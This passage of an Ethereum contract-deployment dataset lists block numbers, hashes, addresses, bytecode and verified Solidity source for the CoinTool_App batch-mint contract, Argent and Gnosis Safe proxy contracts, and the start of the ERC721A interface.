bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
aa440ae690fa4de594584e8e5958286b43b5cdc4
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,954 |
89b47d85ea3a29cd916b834ff4d7a8995b41d4b2d5db020a38d3ba73c99b568e
|
164e6a9d2c620bc0dfaa884cd7eb95bf9fbb3bc1fe456a7211da414599d976a0
|
1ebc908656da1e389dee024ce32595fa49a2d8aa
|
0de8bf93da2f7eecb3d9169422413a9bef4ef628
|
1eda563fe7df9ca5b6ed920fb1a78a2ee8c75d4d
|
3d602d80600a3d3981f3363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730de8bf93da2f7eecb3d9169422413a9bef4ef6285af43d82803e903d91602b57fd5bf3
|
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/*
//https://cointool.app web3 basic tools!
//
//
// _____ _ _______ _
// / ____| (_) |__ __| | | /\
//| | ___ _ _ __ | | ___ ___ | | / \ _ __ _ __
//| | / _ \| | '_ \| |/ _ \ / _ \| | / /\ \ | '_ \| '_ \
//| |___| (_) | | | | | | (_) | (_) | |_ / ____ \| |_) | |_) |
// \_____\___/|_|_| |_|_|\___/ \___/|_(_)_/ \_\ .__/| .__/
// | | | |
// |_| |_|
//
*/
interface IERC20 {
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
}
contract CoinTool_App{
address owner;
address private immutable original;
mapping(address => mapping(bytes =>uint256)) public map;
constructor() payable {
original = address(this);
owner = tx.origin;
}
receive() external payable {}
fallback() external payable{}
function t(uint256 total,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = map[msg.sender][_salt]+1;
uint256 end = total+i;
for (i; i < end;++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,i,msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
map[msg.sender][_salt] += total;
}
function t_(uint256[] calldata a,bytes memory data,bytes calldata _salt) external payable {
require(msg.sender == tx.origin);
bytes memory bytecode = bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
assembly {
let proxy := create2(0, add(bytecode, 32), mload(bytecode), salt)
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
uint256 e = a[a.length-1];
if(e>map[msg.sender][_salt]){
map[msg.sender][_salt] = e;
}
}
function f(uint256[] calldata a,bytes memory data,bytes memory _salt) external payable {
require(msg.sender == tx.origin);
bytes32 bytecode = keccak256(abi.encodePacked(bytes.concat(bytes20(0x3D602d80600A3D3981F3363d3d373d3D3D363d73), bytes20(address(this)), bytes15(0x5af43d82803e903d91602b57fd5bf3))));
uint256 i = 0;
for (i; i < a.length; ++i) {
bytes32 salt = keccak256(abi.encodePacked(_salt,a[i],msg.sender));
address proxy = address(uint160(uint(keccak256(abi.encodePacked(
hex'ff',
address(this),
salt,
bytecode
)))));
assembly {
let succeeded := call(
gas(),
proxy,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
}
function d(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
}
function c(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
}
function dKill(address a,bytes memory data) external payable{
require(msg.sender == original);
a.delegatecall(data);
selfdestruct(payable(msg.sender));
}
function cKill(address a,bytes calldata data) external payable {
require(msg.sender == original);
external_call(a,data);
selfdestruct(payable(msg.sender));
}
function k() external {
require(msg.sender == original);
selfdestruct(payable(msg.sender));
}
function external_call(address destination,bytes memory data) internal{
assembly {
let succeeded := call(
gas(),
destination,
0,
add(data, 0x20),
mload(data),
0,
0
)
}
}
function claimTokens(address _token) external {
require(owner == msg.sender);
if (_token == address(0x0)) {
payable (owner).transfer(address(this).balance);
return;
}
IERC20 erc20token = IERC20(_token);
uint256 balance = erc20token.balanceOf(address(this));
erc20token.transfer(owner, balance);
}
}
|
1 | 19,502,955 |
fbb5eb91d94f5f3e81a048b283fb1657d7653181201b0558e26a5c16f00bc98f
|
95e4f74d75993897364784f3a5a3ba4dab06cbfcf956196f357941b6711c3d08
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
63a8a811a0714ff730839cf9c6f92f1857908a35
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,502,971 |
b2de2fe2aa2aae0fb36f0ab12d7b4f881917a4f8e09cd9c6d6f1f820995fba1c
|
79f2a19a69b75ed0cffc9adbcc30bc28840829e131a2cf51c56f6f90894bddf7
|
a7fb5ca286fc3fd67525629048a4de3ba24cba2e
|
c77ad0a71008d7094a62cfbd250a2eb2afdf2776
|
9f89f5839140cab00f57148ff06850d1ade37ef5
|
608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe
| ||
1 | 19,502,973 |
bd9c776eae1468c2df26ce92de055bd4d6a855cb8f50405b1ce8a5b46820abe9
|
fb450f24493545d234e6be250894c0d128ecd61c643160c177070008389c7d5e
|
f7f8bbb310df9cf0a99b2121c27a9f891507fedb
|
536384fcd25b576265b6775f383d5ac408ff9db7
|
d5be6f5cc7648a3182fead530f6c59da97b5077e
|
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|
// Copyright (C) 2018 Argent Labs Ltd. <https://argent.xyz>
// This program is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
// This program is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License
// along with this program. If not, see <http://www.gnu.org/licenses/>.
// SPDX-License-Identifier: GPL-3.0-only
pragma solidity ^0.8.3;
/**
* @title Proxy
* @notice Basic proxy that delegates all calls to a fixed implementing contract.
* The implementing contract cannot be upgraded.
* @author Julien Niset - <julien@argent.xyz>
*/
contract Proxy {
address immutable public implementation;
event Received(uint indexed value, address indexed sender, bytes data);
constructor(address _implementation) {
implementation = _implementation;
}
fallback() external payable {
address target = implementation;
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), target, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 {revert(0, returndatasize())}
default {return (0, returndatasize())}
}
}
receive() external payable {
emit Received(msg.value, msg.sender, "");
}
}
|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,975 |
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|
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|
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|
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|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
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| ||
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|
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{{
"language": "Solidity",
"sources": {
"lib/ERC721A/contracts/IERC721A.sol": {
"content": "// SPDX-License-Identifier: MIT\n// ERC721A Contracts v4.2.2\n// Creator: Chiru Labs\n\npragma solidity ^0.8.4;\n\n/**\n * @dev Interface of ERC721A.\n */\ninterface IERC721A {\n /**\n * The caller must own the token or be an approved operator.\n */\n error ApprovalCallerNotOwnerNorApproved();\n\n /**\n * The token does not exist.\n */\n error ApprovalQueryForNonexistentToken();\n\n /**\n * Cannot query the balance for the zero address.\n */\n error BalanceQueryForZeroAddress();\n\n /**\n * Cannot mint to the zero address.\n */\n error MintToZeroAddress();\n\n /**\n * The quantity of tokens minted must be more than zero.\n */\n error MintZeroQuantity();\n\n /**\n * The token does not exist.\n */\n error OwnerQueryForNonexistentToken();\n\n /**\n * The caller must own the token or be an approved operator.\n */\n error TransferCallerNotOwnerNorApproved();\n\n /**\n * The token must be owned by `from`.\n */\n error TransferFromIncorrectOwner();\n\n /**\n * Cannot safely transfer to a contract that does not implement the\n * ERC721Receiver interface.\n */\n error TransferToNonERC721ReceiverImplementer();\n\n /**\n * Cannot transfer to the zero address.\n */\n error TransferToZeroAddress();\n\n /**\n * The token does not exist.\n */\n error URIQueryForNonexistentToken();\n\n /**\n * The `quantity` minted with ERC2309 exceeds the safety limit.\n */\n error MintERC2309QuantityExceedsLimit();\n\n /**\n * The `extraData` cannot be set on an unintialized ownership slot.\n */\n error OwnershipNotInitializedForExtraData();\n\n // =============================================================\n // STRUCTS\n // =============================================================\n\n struct TokenOwnership {\n // The address of the owner.\n address addr;\n // Stores the start time of ownership with minimal overhead for tokenomics.\n uint64 startTimestamp;\n // Whether the token has been burned.\n bool burned;\n // Arbitrary data similar to `startTimestamp` that can be set via {_extraData}.\n uint24 extraData;\n }\n\n // =============================================================\n // TOKEN COUNTERS\n // =============================================================\n\n /**\n * @dev Returns the total number of tokens in existence.\n * Burned tokens will reduce the count.\n * To get the total number of tokens minted, please see {_totalMinted}.\n */\n function totalSupply() external view returns (uint256);\n\n // =============================================================\n // IERC165\n // =============================================================\n\n /**\n * @dev Returns true if this contract implements the interface defined by\n * `interfaceId`. See the corresponding\n * [EIP section](https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified)\n * to learn more about how these ids are created.\n *\n * This function call must use less than 30000 gas.\n */\n function supportsInterface(bytes4 interfaceId) external view returns (bool);\n\n // =============================================================\n // IERC721\n // =============================================================\n\n /**\n * @dev Emitted when `tokenId` token is transferred from `from` to `to`.\n */\n event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token.\n */\n event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);\n\n /**\n * @dev Emitted when `owner` enables or disables\n * (`approved`) `operator` to manage all of its assets.\n */\n event ApprovalForAll(address indexed owner, address indexed operator, bool approved);\n\n /**\n * @dev Returns the number of tokens in `owner`'s account.\n */\n function balanceOf(address owner) external view returns (uint256 balance);\n\n /**\n * @dev Returns the owner of the `tokenId` token.\n *\n * 